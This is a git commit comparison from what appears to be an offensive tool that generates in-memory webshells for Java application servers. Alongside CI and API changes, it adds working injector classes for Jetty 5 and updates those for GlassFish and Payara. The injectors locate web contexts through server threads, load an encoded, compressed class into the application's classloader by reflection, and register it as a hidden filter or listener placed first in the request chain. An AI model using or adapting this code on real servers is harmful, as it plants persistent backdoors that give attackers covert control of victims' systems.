Compare commits

..
22 Commits
Author SHA1 Message Date
ReaJason 229698eb49 docs: update changelog
Docker Build Test / docker-build-test (push) Canceled after 0s
MemShell IntegrationTest / jenkins (push) Canceled after 0s
MemShell IntegrationTest / xxljob (push) Canceled after 0s
MemShell IntegrationTest / dubbo (push) Canceled after 0s
MemShell IntegrationTest / springwebmvc (push) Canceled after 0s
MemShell IntegrationTest / springwebflux (push) Canceled after 0s
MemShell IntegrationTest / struts2 (push) Canceled after 0s
MemShell IntegrationTest / tomcat (push) Canceled after 0s
MemShell IntegrationTest / glassfish (push) Canceled after 0s
MemShell IntegrationTest / jbosseap (push) Canceled after 0s
MemShell IntegrationTest / payara (push) Canceled after 0s
MemShell IntegrationTest / wildfly (push) Canceled after 0s
MemShell IntegrationTest / jetty (push) Canceled after 0s
MemShell IntegrationTest / weblogic (push) Canceled after 0s
MemShell IntegrationTest / jbossas (push) Canceled after 0s
MemShell IntegrationTest / resin (push) Canceled after 0s
MemShell IntegrationTest / geronimo (push) Canceled after 0s
MemShell IntegrationTest / websphere7 (push) Canceled after 0s
MemShell IntegrationTest / websphere (push) Canceled after 0s
Probe IntegrationTest / springwebmvc (push) Canceled after 0s
Probe IntegrationTest / struts2 (push) Canceled after 0s
Probe IntegrationTest / tomcat (push) Canceled after 0s
Probe IntegrationTest / glassfish (push) Canceled after 0s
Probe IntegrationTest / jbosseap (push) Canceled after 0s
Probe IntegrationTest / payara (push) Canceled after 0s
Probe IntegrationTest / wildfly (push) Canceled after 0s
Probe IntegrationTest / jetty (push) Canceled after 0s
Probe IntegrationTest / jbossas (push) Canceled after 0s
Probe IntegrationTest / resin (push) Canceled after 0s
Probe IntegrationTest / weblogic (push) Canceled after 0s
Probe IntegrationTest / websphere7 (push) Canceled after 0s
Probe IntegrationTest / websphere (push) Canceled after 0s
Unit-Test / UniteTest (push) Canceled after 0s
2026-08-03 23:55:14 +08:00
ReaJason aaebf9300b chore: 2.9.0 2026-08-03 23:54:53 +08:00
ReaJason 31d4966cb3 test: update war path [skip ci] 2026-08-03 23:54:06 +08:00
ReaJason e4ef1fce4a chore: upgrade deps 2026-08-03 23:54:06 +08:00
ReaJason 2843bbd8c4 docs: update changelog 2026-08-03 23:54:06 +08:00
ReaJason 7832c02e0d test: add wildfly 38/41 case 2026-08-03 23:54:06 +08:00
ReaJason 65d0b17fe2 fix: payara 6/7 shell not work 2026-08-03 23:54:06 +08:00
ReaJason f17a33fb8b ci: war not found 2026-08-03 23:54:06 +08:00
ReaJason f19fe37c36 fix: weblogic 12/14 websocket connnect failed 2026-08-03 23:54:06 +08:00
ReaJason 9757a5b050 test: weblogic 10.3.6 deploy war failed 2026-08-03 23:54:06 +08:00
ReaJason 71230e6088 test: jbossas 5.1.0 deploy war failed 2026-08-03 23:54:06 +08:00
ReaJason 2ec3218e72 feat: support weblogic websocket and weblogic 15.1.1.0 2026-08-03 23:54:06 +08:00
ReaJason da046ae5dc test: add jenkins 2.575-jdk21 case 2026-08-03 23:54:06 +08:00
ReaJason a8cb4c68bc fix: glassfish7/8 jdk21 shell failed 2026-08-03 23:54:06 +08:00
ReaJason 0e37e406da test: add spring cve cases #7 2026-08-03 23:54:06 +08:00
ReaJason 29c19a318f feat: suitable for xxl-job < 2.2.0 #151 2026-08-03 23:54:06 +08:00
zema1 556c9d63ff fix: harden suo5v2 tunnel lifecycle 2026-08-03 23:54:06 +08:00
ReaJason 3e48fc1534 chore: update suo5v2 client 2026-08-03 23:54:06 +08:00
ReaJason 8f2024917c refactor: simplify config api 2026-08-03 23:54:06 +08:00
ReaJason 82bbd2cf0a chore: 2.9.0-SNAPSHOT 2026-08-03 23:54:06 +08:00
ReaJason 1243e59ac2 feat: support resin2 and jetty5 2026-08-03 23:54:06 +08:00
ReaJason af4c8b1d63 ci: upgrade upload-artifact action version
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / jenkins (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / dubbo (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struts2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / geronimo (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struts2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-06-29 01:37:12 +08:00
141 changed files with 23873 additions and 402 deletions
+1 -1
View File
@@ -52,7 +52,7 @@ jobs:
- name: Upload Boot Jar (Linux)
if: matrix.os == 'ubuntu-latest'
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v7
with:
name: boot
path: boot/build/libs/*.jar
@@ -24,9 +24,9 @@ jobs:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly"
@@ -34,7 +34,7 @@ jobs:
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
@@ -42,7 +42,7 @@ jobs:
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
- middleware: "springwebflux"
+4 -4
View File
@@ -21,9 +21,9 @@ jobs:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly"
@@ -31,7 +31,7 @@ jobs:
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
@@ -39,7 +39,7 @@ jobs:
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
- middleware: "struts2"
+1 -1
View File
@@ -65,7 +65,7 @@ jobs:
run: ./gradlew :boot:bootjar -x test
- name: Upload Boot Jar
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v7
with:
name: boot
path: boot/build/libs/*.jar
Binary file not shown.
Binary file not shown.
@@ -6,6 +6,7 @@ import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
@@ -22,7 +23,12 @@ import java.util.*;
@CrossOrigin("*")
public class ConfigController {
/**
* @deprecated use {@link #config()} for memshell configuration and
* {@link #getProbeResponseBodyServers()} for probe ResponseBody servers.
*/
@RequestMapping("/servers")
@Deprecated(since = "2.9.0", forRemoval = false)
public Map<String, List<String>> getServers() {
Map<String, List<String>> servers = new LinkedHashMap<>();
List<String> supportedServers = ServerFactory.getSupportedServers();
@@ -34,7 +40,11 @@ public class ConfigController {
return servers;
}
/**
* @deprecated use {@link #getPackerTree()} for parent/child packer metadata.
*/
@RequestMapping("/packers")
@Deprecated(since = "2.9.0", forRemoval = false)
public List<String> getPackers() {
return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
@@ -56,9 +66,14 @@ public class ConfigController {
.toList();
}
@RequestMapping("/probe/response-body/servers")
public List<String> getProbeResponseBodyServers() {
return ResponseBodyGenerator.getSupportedServers();
}
@RequestMapping
public Map<String, Map<?, ?>> config() {
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
Map<String, Map<?, ?>> coreMap = new LinkedHashMap<>(16);
List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) {
AbstractServer server = ServerFactory.getServer(supportedServer);
@@ -82,4 +97,4 @@ public class ConfigController {
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
return commandConfigVO;
}
}
}
@@ -1,9 +1,12 @@
package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.server.LocalServerPort;
import org.springframework.core.ParameterizedTypeReference;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestClient;
@@ -22,6 +25,12 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
public class ConfigControllerIntegrationTest {
private static final ParameterizedTypeReference<Map<String, Object>> MAP_TYPE = new ParameterizedTypeReference<>() {
};
private static final ParameterizedTypeReference<List<String>> STRING_LIST_TYPE = new ParameterizedTypeReference<>() {
};
@LocalServerPort
private int port;
@@ -36,31 +45,44 @@ public class ConfigControllerIntegrationTest {
@Test
public void testConfigEndpoint() {
ResponseEntity<Map> response = restClient.get()
ResponseEntity<Map<String, Object>> response = restClient.get()
.uri("/api/config")
.retrieve()
.toEntity(Map.class);
.toEntity(MAP_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
}
@Test
public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restClient.get()
ResponseEntity<Map<String, Object>> response = restClient.get()
.uri("/api/config/servers")
.retrieve()
.toEntity(Map.class);
.toEntity(MAP_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
}
@Test
public void testConfigPackersEndpoint() {
ResponseEntity<List<String>> response = restClient.get()
.uri("/api/config/packers")
.retrieve()
.toEntity(STRING_LIST_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
@Test
public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restClient.get()
.uri("/api/config/packers")
public void testConfigProbeResponseBodyServersEndpoint() {
ResponseEntity<List<String>> response = restClient.get()
.uri("/api/config/probe/response-body/servers")
.retrieve()
.toEntity(List.class);
.toEntity(STRING_LIST_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
assertEquals(ResponseBodyGenerator.getSupportedServers(), response.getBody());
}
}
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
}
}
version = "2.8.0"
version = "2.9.0"
tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral")
@@ -7,9 +7,11 @@ package com.reajason.javaweb;
public class Server {
public static final String Tomcat = "Tomcat";
public static final String Jetty = "Jetty";
public static final String Jetty5 = "Jetty5";
public static final String Undertow = "Undertow";
public static final String JBoss = "JBoss";
public static final String Resin = "Resin";
public static final String Resin2 = "Resin2";
public static final String WebLogic = "WebLogic";
public static final String WebSphere = "WebSphere";
public static final String GlassFish = "GlassFish";
@@ -33,9 +33,11 @@ public class ServerFactory {
static {
register(Server.Tomcat, Tomcat::new);
register(Server.Jetty, Jetty::new);
register(Server.Jetty5, Jetty5::new);
register(Server.Undertow, Undertow::new);
register(Server.JBoss, Jboss::new);
register(Server.Resin, Resin::new);
register(Server.Resin2, Resin2::new);
register(Server.WebLogic, WebLogic::new);
register(Server.WebSphere, WebSphere::new);
register(Server.GlassFish, GlassFish::new);
@@ -7,12 +7,14 @@ package com.reajason.javaweb.memshell;
public class ServerType {
public static final String TOMCAT = "Tomcat";
public static final String JETTY = "Jetty";
public static final String JETTY5 = "Jetty5";
public static final String JBOSS_AS = "JBossAS";
public static final String JBOSS_EAP6 = "JBossEAP6";
public static final String UNDERTOW = "Undertow";
public static final String JBOSS_EAP7 = "JBossEAP7";
public static final String WILDFLY = "Wildfly";
public static final String RESIN = "Resin";
public static final String RESIN2 = "Resin2";
public static final String GLASSFISH = "Glassfish";
public static final String PAYARA = "Payara";
public static final String WEBLOGIC = "WebLogic";
@@ -87,16 +87,58 @@ public class GlassFishFilterInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
if (childrenMap == null) {
continue;
}
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
if (children != null) {
contexts.addAll(children.values());
}
}
}
}
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
Object target = getFieldValue(thread, "target");
if (target == null) {
// JDK 21+
Object holder = getFieldValue(thread, "holder");
if (holder != null) {
target = getFieldValue(holder, "task");
}
}
return target;
}
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
Object container = getFieldValue(target, "this$0");
if (container != null) {
return container;
}
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -76,7 +76,15 @@ public class GlassFishValveInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
@@ -87,6 +95,40 @@ public class GlassFishValveInjector {
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
try {
return getFieldValue(thread, "target");
} catch (NoSuchFieldException e) {
// JDK 21+
return getFieldValue(getFieldValue(thread, "holder"), "task");
}
}
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
try {
return getFieldValue(target, "this$0");
} catch (NoSuchFieldException ignored) {
}
try {
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = getFieldValue(atomic, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
} catch (NoSuchFieldException ignored) {
}
Object base = getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -0,0 +1,297 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5FilterInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5FilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object filter) throws Exception {
Object webApplicationHandler = getWebApplicationHandler(context);
if (invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return;
}
Object filterHolder = invokeMethod(
webApplicationHandler,
"defineFilter",
new Class[]{String.class, String.class},
new Object[]{getClassName(), getClassName()});
if (invokeMethod(filterHolder, "getFilter") == null) {
invokeMethod(filterHolder, "start");
}
invokeMethod(
webApplicationHandler,
"addFilterPathMapping",
new Class[]{String.class, String.class, int.class},
new Object[]{getUrlPattern(), getClassName(), Integer.valueOf(1)});
moveLastPathFilterToFront(webApplicationHandler);
clearChainCache(webApplicationHandler);
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
private void moveLastPathFilterToFront(Object webApplicationHandler) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters != null && pathFilters.size() > 1) {
Object filterMapping = pathFilters.remove(pathFilters.size() - 1);
pathFilters.add(0, filterMapping);
}
} catch (Throwable ignored) {
}
}
private void clearChainCache(Object webApplicationHandler) {
clearCacheField(webApplicationHandler, "_chainCache");
clearCacheField(webApplicationHandler, "_namedChainCache");
}
private void clearCacheField(Object object, String name) {
try {
Object cache = getFieldValue(object, name);
if (cache instanceof Map[]) {
Map[] maps = (Map[]) cache;
for (int i = 0; i < maps.length; i++) {
if (maps[i] != null) {
maps[i].clear();
}
}
}
} catch (Throwable ignored) {
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,440 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.EventListener;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5ListenerInjector {
private static String msg = "";
private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5ListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object listener) throws Exception {
if (hasListener(context)) {
return;
}
Object webApplicationHandler = getWebApplicationHandler(context);
try {
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
} catch (Throwable ignored) {
}
if (!hasWebApplicationHandlerListener(webApplicationHandler)) {
invokeMethod(webApplicationHandler, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
}
ensureJsr154Filter(webApplicationHandler);
syncJsr154Filter(webApplicationHandler);
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
private boolean hasListener(Object context) throws Exception {
if (containsListener(getFieldValueQuietly(context, "_contextListeners"))) {
return true;
}
Object webApplicationHandler = getWebApplicationHandler(context);
return hasWebApplicationHandlerListener(webApplicationHandler);
}
private boolean hasWebApplicationHandlerListener(Object webApplicationHandler) {
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestListeners"))) {
return true;
}
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners"))) {
return true;
}
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_sessionListeners"))) {
return true;
}
return containsListener(getFieldValueQuietly(webApplicationHandler, "_contextAttributeListeners"));
}
private Object getFieldValueQuietly(Object obj, String name) {
try {
return getFieldValue(obj, name);
} catch (Throwable ignored) {
return null;
}
}
